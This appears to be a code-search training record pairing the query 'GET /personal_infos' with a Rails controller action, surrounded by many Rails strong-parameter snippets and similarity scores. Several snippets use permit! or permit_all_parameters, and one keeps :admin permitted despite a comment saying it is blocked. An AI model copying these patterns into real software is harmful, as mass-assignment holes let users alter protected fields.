"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
GET /personal_infos GET /personal_infos.json | def index
@user = User.find(session[:user_id])
@personal_info = PersonalInfo.find_by(users_id: session[:user_id])
if !@personal_info.nil?
@hall = Hall.find(@personal_info.halls_id)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @personal_info = current_user.personal_info\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def show\n @personal_info = @user.personal_info\n @user = current_user.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def new\n @user = current_user.id\n @personal_info = PersonalInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def show\n @person_info = PersonInfo.find(params[:id])\n\n render json: @person_info\n end",
"def new\n @personal_info = current_user.build_personal_info\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def show\n response = OpenStruct.new({\n 'id': @current_user.account_uuid,\n 'type': 'mvi_models_mvi_profiles',\n 'gender': @current_user.gender_mpi,\n 'birth_date': @current_user.birth_date_mpi\n })\n handle_errors!(response)\n\n render json: response, serializer: PersonalInformationSerializer\n end",
"def personal_profile\n RubyRedtail::Query.run(\"contacts/#{@id}/personalprofile\", @api_hash, \"GET\")\n end",
"def show\n @personal_account = PersonalAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @personal_account }\n end\n end",
"def index\n @user_personal_informations = User::PersonalInformation.all\n end",
"def index\n @member = Member.find(params[:member_id])\n\n @personalinfos = @member.personalinfo\n end",
"def professional_info\n respond_with_entity(api.get('/api/v1/profile/professional_info'),\n NexaasID::Entities::Profile::ProfessionalInfo)\n end",
"def show\n # never allow anyone to see the personal info based on URL editing\n #@personal_info = PersonalInfo.find(params[:id])\n @personal_info = @form.personal_info\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @personal_info }\n end\n end",
"def show\n @personal = Personal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @personal }\n end\n end",
"def index\n @information_personals = InformationPersonal.find_by(user_id: current_user.id)\n \n if !@information_personals\n redirect_to new_information_personal_path\n end\n end",
"def get_people_info(page_size=2)\n\t\toptions = {\n\t\t\theaders: headers,\n\t\t\tquery: { page_size: page_size }\n\t\t}\n\t\tresult = self.class.get(\"/people/#{display_name}/#{email_address}/#{title}\", options)\n\tend",
"def show\n \t@person = Person.find(params[:id])\n respond_to do |format|\n format.json { render json: @person, status: :ok }\t\n end \t \t\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @user_person = UserPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_person }\n end\n end",
"def create\n @personal_info = current_user.create_personal_info(params[:personal_info])\n\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to user_path(current_user), notice: 'Personal info was successfully created.' }\n format.json { render json: @personal_info, status: :created, location: @personal_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @person_interest = PersonInterest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_interest }\n end\n end",
"def show\n @private_profile = PrivateProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @private_profile }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end",
"def create\n user = current_user\n @personal_info = user.create_personal_info(params[:personal_info])\n\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to user_path, notice: 'Personal info was successfully created.' }\n format.json { render json: @personal_info, status: :created, location: @personal_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @profile_personal_details = ProfilePersonalDetail.all\n end",
"def show\n\t\t@person = Person.find_by(id: params[:id])\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def show\n @personaje_mision = PersonajeMision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje_mision }\n end\n end",
"def show\n @personal_characteristic = PersonalCharacteristic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_characteristic }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n @users = User.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def details\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # details.html.erb\n format.json { render json: @profile }\n end\n end",
"def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end",
"def new\n @personal_info = PersonalInfo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal_info }\n end\n end",
"def create\n @personal_info = PersonalInfo.new(personal_info_params)\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to students_login_path, notice: 'Personal info was successfully created.' }\n format.json { render :show, status: :created, location: @personal_info }\n else\n format.html { render :new }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_profile_information\n # body = {\n # cmd: \"get_profile_information\"\n # }\n\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @profile = current_user.profile\n\n # ToDo: error message if no profile is found for user\n\n puts 'Got profile='\n pp @profile\n \n\n puts 'got other_names='\n pp @profile.other_names\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n format.json { render :json => @profile }\n end\n \n end",
"def show\n respond_to do |format|\n people = @mob.user_idz.split(',').map{|i| User.find(i).name }.join(', ')\n format.json { render json: @mob.attributes.merge(people: people, users: @mob.users, date: Time.now.strftime('%-m/%-d/%Y')) }\n end\n end",
"def index\n @person = Person.find((params[:person_id]))\n @person_identification_docs = PersonIdentificationDoc.where(\"person_id = ?\", params[:person_id])\n\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @person_identification_docs }\n end\n end",
"def show\n @person = User.friendly.find(params[:id])\n add_breadcrumb @person.nickname, cooperative.person_path(@person)\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render :json => @person }\n end\n end",
"def index\n @dealerpersonalinfos = current_dealer().dealerpersonalinfo\n end",
"def new\n @personal_account = PersonalAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @personal_account }\n end\n end",
"def show\n if @person\n render json: @person\n else\n # :not_found is the http status code 404\n render status: :not_found\n end\n end",
"def show\n @interest = Interest.find(params[:id])\n creator = User.find(@interest.user_id)\n creatorName = creator.name\n\n respond_to do |format|\n format.html #show.html.erb\n format.json {render json: @interest}\n end\n end",
"def set_personalinfo\n @personalinfo = Personalinfo.find(params[:id])\n end",
"def show\n @notice = @person.notices.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notice }\n end\n end",
"def show\n @general_information = GeneralInformation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @general_information }\n end\n end",
"def show\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje }\n end\n end",
"def show\n @projects_person = ProjectsPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def show\n\t\tperson = Person.find_by_id(self.params[\"id\"].to_i)\n\t\tif person\n\t\t\trender json: {id: person.id, name: person.name, favoriteCity: person.favoriteCity}\n\t\telse\n\t\t\trender body: 'Person Not Found', status: 404\n\t\tend\n\tend",
"def get_info\r\n return @infoxml unless @infoxml.nil?\r\n \r\n response = Net::Flickr.instance().request('flickr.people.getInfo', 'user_id' => @id)\r\n \r\n return @infoxml = response.at('person')\r\n end",
"def show\n @profile = @user.profile\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @person = Person.find_by_guid!(params[:id])\n\n respond_to do |format|\n format.json { render :json => PersonPresenter.new(@person, current_user) }\n end\n end",
"def show\n @person = people_type.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @persona }\n end\n end",
"def show\n @person = Person.find((params[:person_id]))\n @person_identification_doc = PersonIdentificationDoc.find(params[:id])\n #Checks if the person is owner of this Identification Doc\n if @person_identification_doc.person_id == @person.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @person_identification_doc }\n end\n else\n respond_to do |format|\n format.html { redirect_to person_person_identification_docs_path, :notice => \"Este registro não existe.\"}\n format.json { render :json => @person_identification_doc }\n end\n end\n end",
"def show\n profile = Profile.find(params[:id])\n render status: 200, json: profile\n end",
"def set_personal_info\n @personal_info = PersonalInfo.find_by(users_id: session[:user_id])\n end",
"def get_profile_info\n res = {}\n res[:user] = User.select(:login, :city_id, :email, :admin).where(id: session[:user_id]).take\n res[:character] = Character.select(:id, :title).where(id: @current_user.character_id).take\n render json: res\n end",
"def info()\n get(:session, {:method => \"user.getInfo\"})\n end",
"def info()\n _params = {}\n return @master.call 'users/info', _params\n end",
"def getUserInfo\n login_user_id = params[:my_id].to_i\n login_user = User.find(login_user_id)\n\n target_user_id = params[:target_id].to_i\n target_user = User.find(target_user_id)\n\n # target_userをフォローしているか\n login_user_follow = login_user.follows_of_from_user.pluck(:id).include?(target_user_id)\n\n # target_userの記事一覧を取得\n articles_hash = make_articles_hash(target_user.articles, target_user)\n\n if articles_hash.blank?\n res = {\n result: false,\n data: nil\n }\n else\n res = {\n result: true,\n data: {\n user_id: target_user_id,\n name: target_user.name,\n follow: login_user_follow,\n profile_image: target_user.profile_image_path,\n articles: articles_hash\n }\n }\n end\n\n render json: res\n end",
"def show\n @profile = current_user.profile\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def get_acc_info\n JSON.parse(curl_get(\"/api2/account/info/\").body_str)\n end",
"def get_default_profile \n get(\"/profiles.json/default\")\nend",
"def show\n @personnage = Personnage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personnage }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @person = Person.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n format.json { render :json => @person.to_json(:include => [:fieldvalues, :address, :city, :province]) }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @person_hash }\n format.xml { render :xml => @person_hash }\n end\n end",
"def show\n @type_person = TypePerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_person }\n end\n end",
"def personal_info_params\n params.require(:personal_info).permit(:first_name, :last_name, :email, :tel, :mobile, :birthday, :gender, :avatar, :remote_avatar_url)\n end",
"def show\n render json: get_full_user_details(user), status: :ok\n rescue => e\n log_and_render_users_controller_error(e, \"get user details failed\")\n end",
"def info\n get '/'\n end",
"def mf_api_get_user_info\n\n # Get the user from the DB\n user = User.find(params[:user_id])\n\n # If no user, return error response\n unless user\n response = {\n success: false,\n message: 'User not found'\n }\n\n render json: response and return\n end\n\n # Create User Info Response\n response = {\n success: true,\n message: 'User Info successfully retrieved',\n user_id: user.id,\n user_infusionsoft_id: user.clientid,\n user_first_name: user.first_name,\n user_last_name: user.last_name,\n user_email: user.email,\n }\n\n # Return success response\n render json: response\n\n end",
"def show\n p params\n p \"just herer for checking\"\n #@profile = Profile.find(params[:id])\n @user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def index\n @user_infos = UserInfo.all\n end",
"def index\n @user_infos = UserInfo.all\n end",
"def show\n @person = Person.find(params[:id])\n @hair_colours = Person.get_hair_colours\n @eye_colours = Person.get_eye_colours\n @heights_feet = Person.get_heights_feet\n @heights_inches = Person.get_heights_inches\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n\t\t \t\tpersona = Persona.find(params[:id])\n\t\t \t\trender json: {status: 'SUCCESS', message:'Loaded persona', data:persona},status: :ok\n\t\t \tend",
"def show\n @info_page = InfoPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @info_page }\n end\n end",
"def index\n @personal_profiles =current_user.personal_profile\n end",
"def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end",
"def user_info\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n\n respond_to do |format|\n name = @current_user.name\n username = @current_user.username\n format.json {\n render json: {\n :name => name,\n :username => username,\n }.to_json, status: 200\n }\n end\n end",
"def show\n @expert_personal = ExpertPersonal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expert_personal }\n end\n end",
"def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: Oj.dump(@personal_leave) }\n end\n end",
"def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def new\n @personal = Personal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal }\n end\n end",
"def show\n @title = @user.complete_name\n @description = \"Informations relatives à #{@user.complete_name}\"\n @jsonld = @user.to_jsonld\n end",
"def show\n @missing_person = MissingPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @missing_person }\n end\n end"
] | [
"0.7972116",
"0.7776827",
"0.71741253",
"0.7036345",
"0.6944974",
"0.6836923",
"0.68325764",
"0.68102545",
"0.67983836",
"0.67647135",
"0.67423314",
"0.6676139",
"0.6517811",
"0.6457251",
"0.64024085",
"0.6374373",
"0.63718206",
"0.63718206",
"0.63579965",
"0.63248605",
"0.63156956",
"0.63144314",
"0.62787795",
"0.6271206",
"0.62679994",
"0.6259927",
"0.62472326",
"0.6237648",
"0.6236032",
"0.6233139",
"0.6224878",
"0.62235713",
"0.6210838",
"0.6191689",
"0.617615",
"0.6164624",
"0.6164624",
"0.6164624",
"0.6164624",
"0.6164624",
"0.6164624",
"0.6164624",
"0.6164624",
"0.6164624",
"0.6153274",
"0.6144725",
"0.6143955",
"0.6135357",
"0.6124241",
"0.6121283",
"0.60925823",
"0.6084899",
"0.60761803",
"0.6075007",
"0.6074111",
"0.6064903",
"0.606161",
"0.6046784",
"0.6041706",
"0.60364324",
"0.60264987",
"0.6022203",
"0.6005747",
"0.6003857",
"0.5990136",
"0.5989421",
"0.5986816",
"0.59743816",
"0.5972634",
"0.5967108",
"0.59580755",
"0.5957539",
"0.5954209",
"0.5948631",
"0.5936545",
"0.5931284",
"0.59155625",
"0.59082633",
"0.59001225",
"0.58957285",
"0.5894646",
"0.5893404",
"0.589334",
"0.5892282",
"0.5890214",
"0.5889802",
"0.5889802",
"0.588781",
"0.5877078",
"0.5876713",
"0.58685076",
"0.586749",
"0.58667773",
"0.58666456",
"0.5866321",
"0.5860778",
"0.5860778",
"0.5860778",
"0.5850614",
"0.58486986",
"0.58453417"
] | 0.0 | -1 |
GET /personal_infos/1 GET /personal_infos/1.json | def show
@user = User.find(session[:user_id])
@personal_info = PersonalInfo.find_by(users_id: session[:user_id])
if !@personal_info.nil?
@hall = Hall.find(@personal_info.halls_id)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @personal_info = current_user.personal_info\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def show\n @personal_info = @user.personal_info\n @user = current_user.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def new\n @user = current_user.id\n @personal_info = PersonalInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def show\n @person_info = PersonInfo.find(params[:id])\n\n render json: @person_info\n end",
"def new\n @personal_info = current_user.build_personal_info\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def show\n @personal_account = PersonalAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @personal_account }\n end\n end",
"def personal_profile\n RubyRedtail::Query.run(\"contacts/#{@id}/personalprofile\", @api_hash, \"GET\")\n end",
"def index\n @member = Member.find(params[:member_id])\n\n @personalinfos = @member.personalinfo\n end",
"def show\n response = OpenStruct.new({\n 'id': @current_user.account_uuid,\n 'type': 'mvi_models_mvi_profiles',\n 'gender': @current_user.gender_mpi,\n 'birth_date': @current_user.birth_date_mpi\n })\n handle_errors!(response)\n\n render json: response, serializer: PersonalInformationSerializer\n end",
"def show\n @personal = Personal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @personal }\n end\n end",
"def show\n \t@person = Person.find(params[:id])\n respond_to do |format|\n format.json { render json: @person, status: :ok }\t\n end \t \t\n end",
"def show\n # never allow anyone to see the personal info based on URL editing\n #@personal_info = PersonalInfo.find(params[:id])\n @personal_info = @form.personal_info\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @personal_info }\n end\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def index\n @user_personal_informations = User::PersonalInformation.all\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end",
"def show\n\t\t@person = Person.find_by(id: params[:id])\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend",
"def show\n @user_person = UserPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_person }\n end\n end",
"def show\n @personal_characteristic = PersonalCharacteristic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_characteristic }\n end\n end",
"def show\n @person_interest = PersonInterest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_interest }\n end\n end",
"def professional_info\n respond_with_entity(api.get('/api/v1/profile/professional_info'),\n NexaasID::Entities::Profile::ProfessionalInfo)\n end",
"def show\n @personaje_mision = PersonajeMision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje_mision }\n end\n end",
"def index\n @information_personals = InformationPersonal.find_by(user_id: current_user.id)\n \n if !@information_personals\n redirect_to new_information_personal_path\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @private_profile = PrivateProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @private_profile }\n end\n end",
"def details\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # details.html.erb\n format.json { render json: @profile }\n end\n end",
"def new\n @personal_info = PersonalInfo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal_info }\n end\n end",
"def set_personalinfo\n @personalinfo = Personalinfo.find(params[:id])\n end",
"def show\n @person = people_type.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
